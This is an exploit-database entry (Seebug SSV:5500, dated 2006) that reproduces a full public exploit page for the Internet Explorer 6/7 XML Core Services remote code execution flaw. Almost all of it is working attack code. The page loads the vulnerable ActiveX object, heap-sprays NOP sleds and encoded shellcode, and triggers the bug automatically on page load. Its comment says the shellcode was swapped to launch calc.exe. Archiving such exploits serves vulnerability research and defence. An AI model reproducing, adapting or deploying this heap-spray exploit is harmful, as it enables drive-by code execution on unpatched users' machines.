MS Internet Explorer 6/7 (XML Core Services) Remote Code Exec Exploit

2006-11-09T00:00:00
ID SSV:5500
Type seebug
Reporter Root
Modified 2006-11-09T00:00:00

Description

No description provided by source.

                                        
                                            
                                                <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1 plus 2.0//EN">
<!--
MS Internet Explorer 6/7 (XML Core Services)  Remote Code Execution Exploit

Author: n/a

Info:
http://blogs.securiteam.com/index.php/archives/721
http://isc.sans.org/diary.php?storyid=1823
http://xforce.iss.net/xforce/alerts/id/239

Found in the wild and was pointed out on securiteam's blog (cheers Gadi Evron!)

Changed up the shellcode so it wouldn't be as evil for the viewers, calc.exe is called.

/str0ke
-->

<html xmlns="http://www.w3.org/1999/xhtml">
<body>
<object id=target classid="CLSID:{88d969c5-f192-11d4-a65f-0040963251e5}" >
</object>
<script>
var obj = null;
function exploit() {
obj = document.getElementById('target').object;

try {
obj.open(new Array(),new Array(),new Array(),new Array(),new Array());
} catch(e) {};

sh = unescape ("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120" +
	"%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424" +
	"%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304" +
	"%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0" +
	"%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%uF068%u048A%u685F%uFE98%u0E8A" +
	"%uFF57%u63E7%u6C61%u0063");

sz = sh.length * 2;
npsz = 0x400000-(sz+0x38);
nps = unescape ("%u0D0D%u0D0D");
while (nps.length*2<npsz) nps+=nps;
ihbc = (0x12000000-0x400000)/0x400000;
mm = new Array();
for (i=0;i<ihbc;i++) mm[i] = nps+sh;

obj.open(new Object(),new Object(),new Object(),new Object(), new Object());    

obj.setRequestHeader(new Object(),'......');
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
}
</script>
<body onLoad='exploit()' value='Exploit'>

</body></html>